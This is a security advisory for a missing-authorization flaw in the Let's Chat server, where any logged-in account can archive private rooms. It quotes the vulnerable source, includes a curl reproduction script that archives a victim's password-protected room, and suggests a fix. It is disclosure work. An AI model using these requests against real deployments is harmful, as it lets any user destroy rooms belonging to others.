## https://sploitus.com/exploit?id=PACKETSTORM:227188
# Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
**Assigned CVE ID:** CVE-2026-66751
## Summary
`DELETE /rooms/:room` performs no authorization check beyond requiring a login. Any account
can archive any room on the server, including private, password protected rooms that the
same account is not allowed to read, join, or modify.
Archiving is how Let's Chat deletes rooms. The room disappears from the room list, direct
lookups return 404, and posting messages or uploading files to it is refused. There is no
code path in the application that reverses it.
## Affected versions
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.3.0 (commit `5b5f46f`, 2 Jan 2015, "Rooms are archived, instead of
deleted") through 0.4.8, the final release. No fixed version exists.
Private and password protected rooms arrived in 0.4.0, so the case where an attacker
destroys a room whose contents they cannot see applies from 0.4.0 onward. The missing check
itself dates from 0.3.0.
Confirmed on 0.4.8 at commit `617207f`, and on `docker.io/sdelements/lets-chat:latest`
(0.4.7).
## Classification
CWE-862: Missing Authorization.
CVSS 4.0 base score 5.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N`
## Threat model
The attacker needs one ordinary user account and network access to the HTTP port. They do
not need to own the room, belong to it, know its password, or hold any elevated role.
Self registration is enabled by default (`auth.local.enableRegistration` in `defaults.yml`).
Target selection costs nothing. `GET /rooms` lists password protected rooms to every user by
design, so the attacker can read the full list of room ids and archive each one in turn.
## Technical detail
The route requires a login and resolves the room, and nothing more.
`app/controllers/rooms.js:99-109`:
```js
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
```
The handler passes only a room id downstream. It never looks at `req.user`.
`app/controllers/rooms.js:217-232`:
```js
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
```
The manager takes no user argument, so it cannot check ownership even in principle.
`app/core/rooms.js:123-137`:
```js
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
```
The neighbouring update path does check ownership, which is what makes this look like an
oversight rather than a deliberate choice. `app/core/rooms.js:89-91`:
```js
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
```
The client agrees with the stricter reading. `media/js/views/room.js:28-31` decides who sees
the edit control, and the Archive Room button sits inside the edit modal that this control
opens:
```js
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
```
For a password protected room a non owner never sees the button. The restriction exists only
in the browser.
## Reproduction
Requires `rooms.private: true` (or `LCB_ROOMS_PRIVATE=true`) so that private rooms can be
created. The missing check itself applies to every room regardless of that setting.
```bash
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"$U@example.com\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
```
## Impact
After the request the room is gone from `GET /rooms` for every user, `GET /rooms/:id`
returns 404, and `messages:create` and `files:create` reject it
(`app/core/messages.js:28-30`, `app/core/files.js:55-57`). Nothing in `app/` sets `archived`
back to `false`, so recovery needs direct database access.
## Suggested fix
Pass the caller into the manager and check ownership before archiving, matching what
`update` already does. In `app/controllers/rooms.js:217`:
```js
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
```
and in `app/core/rooms.js:123`, after the `if (!room)` check:
```js
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}